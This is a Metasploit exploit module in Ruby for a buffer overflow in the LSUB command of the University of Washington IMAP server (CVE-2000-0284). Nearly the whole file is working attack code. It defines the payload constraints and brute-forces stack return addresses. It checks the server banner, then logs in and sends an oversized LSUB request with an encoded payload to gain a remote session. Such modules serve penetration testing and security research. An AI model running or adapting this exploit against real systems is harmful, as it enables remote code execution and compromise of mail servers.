bcoles
92 lines
2.4 KiB
Ruby
92 lines
2.4 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Brute
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include Msf::Exploit::Remote::Imap
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'UoW IMAP Server LSUB Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in the 'LSUB'
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command of the University of Washington IMAP service.
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This vulnerability can only be exploited with a valid username
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and password.
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},
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'Author' => [ 'aushack', 'jduck' ],
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'License' => MSF_LICENSE,
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'References' => [
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[ 'CVE', '2000-0284' ],
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[ 'OSVDB', '12037' ],
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[ 'BID', '1110' ],
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[ 'EDB', '284' ]
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],
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'Privileged' => false,
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'Payload' => {
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'Space' => 964,
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'BadChars' => "\x00\x0a\x0d\x2f",
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'StackAdjustment' => -3500
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},
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'Platform' => 'linux',
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'Targets' => [
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# ['RedHat 6.2 - IMAP4rev1 v12.264', { 'Ret' => 0xbffff310 }],
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[
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'Linux Bruteforce',
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{
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'Platform' => 'linux',
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'Offset' => 1064,
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'Bruteforce' =>
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{
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'Start' => { 'Ret' => 0xbffffdfc },
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'Stop' => { 'Ret' => 0xbfa00000 },
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'Step' => 200
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}
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},
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]
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],
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'DisclosureDate' => '2000-04-16',
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'DefaultTarget' => 0,
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'Notes' => {
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'Stability' => [CRASH_SERVICE_RESTARTS],
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'SideEffects' => [IOC_IN_LOGS],
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'Reliability' => [UNRELIABLE_SESSION]
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}
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)
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)
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end
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def check
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connect
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disconnect
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if banner =~ /IMAP4rev1 v12\.264/
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return CheckCode::Appears('IMAP4rev1 v12.264')
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end
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CheckCode::Safe
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end
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def brute_exploit(addresses)
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print_status('Trying 0x%.8x ...' % addresses['Ret'])
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fail_with(Failure::NoAccess, 'Unable to log in!') unless connect_login
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req = "a002 LSUB \"\" {%d}\r\n" % target['Offset']
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sock.put(req)
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sock.get_once
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sploit = payload.encoded + rand_text_alphanumeric(64) + [addresses['Ret']].pack('V') + rand_text_alphanumeric(32) + "\r\n"
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sock.put(sploit)
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handler
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disconnect
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end
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end
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